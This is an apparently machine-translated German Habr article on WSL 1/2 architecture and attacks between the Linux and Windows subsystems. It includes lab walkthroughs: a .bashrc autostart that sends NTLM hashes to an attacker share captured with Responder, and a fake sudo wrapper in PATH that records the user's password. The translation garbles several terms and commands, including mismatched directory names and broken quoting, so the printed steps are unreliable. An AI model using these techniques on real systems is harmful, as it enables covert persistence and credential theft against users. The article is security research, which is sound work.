Hallo, Habr! Im Oktober startet OTUS einen neuen Kurs. Vor dem Kursbeginn teilen wir einen Artikel, den einer unserer Dozenten – Alexander Kolesnikow – geschrieben hat.
Im Jahr 2016 stellte Microsoft der IT-Community eine neue Technologie namens WSL vor (WWindows OSubsystem für LDie Linux-Umgebung hat es langfristig ermöglicht, zuvor unversöhnliche Wettbewerber zusammenzubringen, die um die Popularität sowohl bei gewöhnlichen als auch fortgeschrittenen Nutzern von Betriebssystemen wie Windows und Linux kämpften. Diese Technologie bietet die Möglichkeit, die Tools des Linux-Betriebssystems in einer Windows-Umgebung zu nutzen, ohne Linux beispielsweise im Rahmen eines Multiboot-Systems starten zu müssen. Auf Habr finden Sie viele Artikel, die die Vorteile der Nutzung von WSL (Windows Subsystem for Linux) beschreiben. Allerdings gab es zum Zeitpunkt der Erstellung dieses Artikels auf dieser Plattform keine Sicherheitsforschung zu diesem Zusammenspiel der Betriebssysteme. Dieser Beitrag versucht, das zu ändern. Der Artikel wird die architektonischen Besonderheiten von WSL 1 und 2 behandeln und einige Angriffsszenarien auf Systeme untersuchen, die diese Technologien verwenden. Der Artikel wird in zwei Teile gegliedert. Im ersten Teil werden die grundlegenden theoretischen Angriffsmethoden von Linux und Windows vorgestellt. Der zweite Artikel wird die Einrichtung der Testumgebung und die Reproduktion von Angriffen beinhalten.
WSL 1: Architekturmerkmale
Um die Herausforderungen der Sicherheit in WSL bestmöglich zu verstehen, ist es notwendig, die wesentlichen Aspekte im Zusammenhang mit der Implementierung der Subsysteme zu klären. Eine der Hauptaufgaben, die WSL für Benutzer löst, besteht darin, die Nutzung von Linux-Terminals auf Hosts mit dem Betriebssystem Windows zu ermöglichen. Die gebotene Kompatibilität war so nahtlos, dass Linux-Programmf-files (ELF) direkt im Windows-System ausgeführt werden konnten. Zur Erreichung dieser Ziele wurde in Windows 10 ein spezielles Subsystem entwickelt, das die Ausführung von Linux-Anwendungen mithilfe einer bestimmten Reihe von Systemaufrufen ermöglicht – somit wurde der Versuch unternommen, die Anzahl der Linux-Systemaufrufe auf Windows abzubilden. Dies wurde physisch durch die Hinzufügung neuer Treiber und eines neuen Prozessformats realisiert. Die Architektur sah visuell folgendermaßen aus:
Im Wesentlichen wurde die Interaktion mit dem Linux-Betriebssystem über mehrere Kernel-Module und eine spezielle Art von Prozessen – pico – organisiert. Der obigen Grafik ist zu entnehmen, dass ein Prozess, der auf einer Linux-Instanz auf dem Host ausgeführt wird, nativ sein muss und dieselben Ressourcen wie reguläre Windows-Anwendungen verwenden sollte. Doch wie erreicht man das? Im Projekt wurden Konzepte für Windows-Prozesse entwickelt, die alle erforderlichen Komponenten des Betriebssystems (je nach Version) bereitstellen, um eine Anwendung eines anderen Betriebssystems auszuführen.
Es ist zu beachten, dass die vorgeschlagene Abstraktion nicht auf das Betriebssystem (insbesondere Windows), in dem der Prozess eines anderen Betriebssystems erwartet wird, ausgerichtet war und einen allgemeinen Ansatz anbot.
Auf diese Weise konnte jede Anwendung innerhalb eines pico-Prozesses unabhängig vom Windows-Kernel arbeiten:
- Kompatibilitätsprobleme und die Übersetzung von Systemaufrufen müssen von speziellen Providern gelöst werden;
- Der Zugriff sollte über den Sicherheitsmonitor geregelt werden. Der Monitor befindet sich im Kernel, und deshalb war ein Upgrade von Windows in Form eines neuen Treibers notwendig, der als Anbieter für solche Prozesse fungieren kann. Der Prototyp des Pico-Prozesses ist schematisch unten dargestellt:
Da das Dateisystem von Linux zwischen Groß- und Kleinschreibung unterscheidet, wurden in Windows zwei Arten von Dateisystemen für die Arbeit mit WSL hinzugefügt – VolFS und DriveFS. VolFS ist eine Implementierung des Linux-Dateisystems, während DriveFS ein Dateisystem ist, das den Regeln von Windows folgt, jedoch die Möglichkeit bietet, die Groß- und Kleinschreibung von Dateinamen zu berücksichtigen.
WSL 2
WSL 1 hatte eine Reihe von Einschränkungen, die es unmöglich machten, sie für eine Vielzahl von Aufgaben zu nutzen: Beispielsweise fehlte die Möglichkeit, 32-Bit-Linux-Anwendungen auszuführen, und Device-Treiber konnten nicht verwendet werden. Daher wurde 2020 WSL 2 veröffentlicht, das den Ansatz zur Implementierung der Subsysteme änderte. WSL 2 ist eine optimierte virtuelle Maschine, die in Bezug auf Ressourcenverbrauch den Spezifikationen von WSL 1 entspricht. Jetzt können Benutzer von Windows, je nach den zu lösenden Problemen, die erforderliche Version des Linux-Subsystems auswählen. Um mögliche Schwachstellen zu mitigieren, wurde WSL 2 auf Basis von Hyper-V in Windows 10 realisiert. In dieser Form ist Windows in der Lage, den Linux-Kernel isoliert auszuführen. Es ist wichtig zu beachten, dass die Version 1 von WSL als Beta-Funktion eingeführt wurde, die den Entwicklungsweg von Windows in diesem Bereich zeigen sollte, weshalb der Übergang zu Hyper-V unvermeidlich war. Die endgültige Architektur sieht wie folgt aus:
In dieser Version verfügen die Betriebssystemkerne von Windows und Linux über ihre eigenen Ressourcen, und die Schnittstelle besteht nur im Dateisystem, kann jedoch nicht als vollständig angesehen werden. Die Interaktion zwischen den Dateisystemen erfolgt über eine Client-Server-Schicht, die nach dem 9P-Protokoll funktioniert.
Heute ermöglicht Microsoft den Wechsel zwischen WSL 1 und WSL 2. Beide Versionen sind zur Nutzung verfügbar.
Sicherheit von WSL
Derzeit gibt es mehrere Arbeiten, die einige Ansätze zur Nutzung legitimer Systemwerkzeuge beschreiben, um Angriffe auf die Interaktion zwischen den Subsystemen zu ermöglichen. Wir werden ihre Szenarien verwenden, um die Relevanz von Angriffen zum Zeitpunkt des Schreibens des Artikels zu überprüfen. Eine allgemeine Übersicht über Angriffe und Durchführungsszenarien:
1. Implementierung des Dateisystems: Zugriffsrechte, Vorhandensein gemeinsamer Verzeichnisse/Datenmechanismen.
Untersuchungen wurden hinsichtlich des Zugriffsregelnverstoßes auf Linux FS->Windows FS, Windows FS->Linux FS. Untersuchungen haben gezeigt, dass es möglich ist, eine bestimmte Datei innerhalb des Zielbetriebssystems zu modifizieren. Es wurden auch Versuche unternommen, um die Datei zu ersetzen, Duplikate zu erstellen und Teile von Dateisystemen zu löschen.
Szenario:
- A. Angriff aus dem Betriebssystem Windows — Modifikation von Dateien im Verzeichnis /etc des Betriebssystems Linux.
- B. Angriff aus dem Betriebssystem Linux — Modifikation von Dateien in den Verzeichnissen:
C:Windows,C:Program Files,C:Users<User>
2. Implementierung des Netzwerkstacks.
Die Untersuchungen wurden anhand von Angriffen aus dem Betriebssystem Linux auf Windows durchgeführt. Dabei wurden die Eigenschaften des Netzwerkstacks und insbesondere die Authentifizierungsmechanismen auf verschiedenen Ressourcen genutzt.
Szenario:
- Zugriff auf einen Port, der im Windows-System belegt ist, öffnen.
- Öffnen eines Ports ohne die entsprechenden Berechtigungen.
- Starten einer Reverse-Shell unter Verwendung einer ELF-Datei im Betriebssystem Windows.
3. Verstecken des Starts von Prozessen schädlicher Software durch die WSL-Subsystem.
Die Untersuchungen basierten auf der einfachen Tatsache, dass Schutzsubsysteme Ereignisse nicht in einem anderen Kern abfangen können, der unter einem legitimen Anbieter im Betriebssystem bei WSL 1 läuft. Bei WSL 2 gibt es keine Möglichkeit, Ereignisse, die in einem separaten Kernel innerhalb einer leichten virtuellen Maschine passieren, zu überwachen.
Szenario:
1) Starten Sie die Anwendung für den Remotezugriff auf das System und überprüfen Sie die protokollierten Ereignisse.
WSL 1 Experimente: Hash-Abruf (Windows OS)
Endlich kommen wir zum praktischen Teil. Zunächst müssen wir die Umgebung für die Tests einrichten. Alle Experimente werden auf einem Stand mit installiertem Windows 10 Version 2004 durchgeführt. Als Betriebssystem-Image für WSL wurde zufällig das Image Ubuntu 18.04 ausgewählt. Jedes andere Image würde ebenfalls funktionieren. Hier sind die Befehle zur Einrichtung des Stands:
Zuerst müssen Sie starten powershell.exe als Administrator.
Für WSL 1 sind die folgenden Befehle auszuführen:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Aktivieren Sie die WSL-Funktion
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Laden Sie das Linux-Image aus dem Microsoft Store herunter
Nach dem Neustart der Umgebung können Sie den Befehl bash aufrufen. Wenn alles erfolgreich war, sollten Sie eine ähnliche Ausgabe in der Windows-Konsole sehen:
Als Angreifermaschine verwenden wir die Kali Linux-Distribution, alle Maschinen müssen sich im selben lokalen Netzwerk befinden.
Angenommen, wir haben privilegierten Zugang zu WSL auf der Windows-Maschine. Lassen Sie uns versuchen, einen Angriff auf das Linux-Betriebssystem durchzuführen, indem wir einen Befehl aus Linux aufrufen. Um den Angriff durchzuführen, nutzen wir eine einfache Autostarttechnik — wir fügen unser Skript zur Ausführung in der Linux-Umgebung hinzu. Dazu müssen wir die Datei ändern: .bashrc.
Auf der WSL-Maschine führen wir Folgendes aus:
1. bash
2. Wechseln Sie in das Heimatverzeichnis des Benutzers: cd /home/sam/
3. echo "\/home\/sam\/.attack.sh" >> .bashrc
4. echo "icalcs.exe \\\\attacker_ip\\shareName\\" > /dev/null 2>&1 >> .attack.sh
5. chmod u+x .attack.sh
6. exitAuf der Kali Linux-Maschine führen wir Folgendes aus:
1. Responder -I eth0 -rdvwAuf der Windows-Maschine starten wir bash.
Wir warten auf das Ergebnis auf der Kali Linux-Maschine:
So haben wir die Hashes des Windows-Benutzers über das WSL-Subsystem erhalten, indem wir den Befehl auf einem Linux-System ausgeführt haben.
WSL 1 Experimente: Passwort des Benutzers abrufen (Linux-Betriebssystem)
Lassen Sie uns ein weiteres Experiment durchführen. In diesem Test werden wir die Datei .bashrc um einige Befehle ergänzen, um das Passwort des Linux-Betriebssystems zu erhalten.
Starten wir bash und geben folgende Befehle ein:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] Passwort für $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Entschuldigung, versuchen Sie es erneut."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Für den erfolgreichen Abschluss des Angriffs muss der Benutzer Sam sudo im Linux-Terminal aufrufen. Danach wird das Passwort des Linux-Benutzers in der Datei pass.txt:
Die Durchführung der Angriffe wurde nur zu theoretischen Zwecken beschrieben.
Im nächsten Teil des Artikels wird die Implementierung des 9P-Protokolls beschrieben, der Aufbau eines Scanners für dieses Protokoll behandelt und ein Angriff mit dessen Hilfe durchgeführt.
Literaturliste
Mehr lesen
Quelle: habr.com
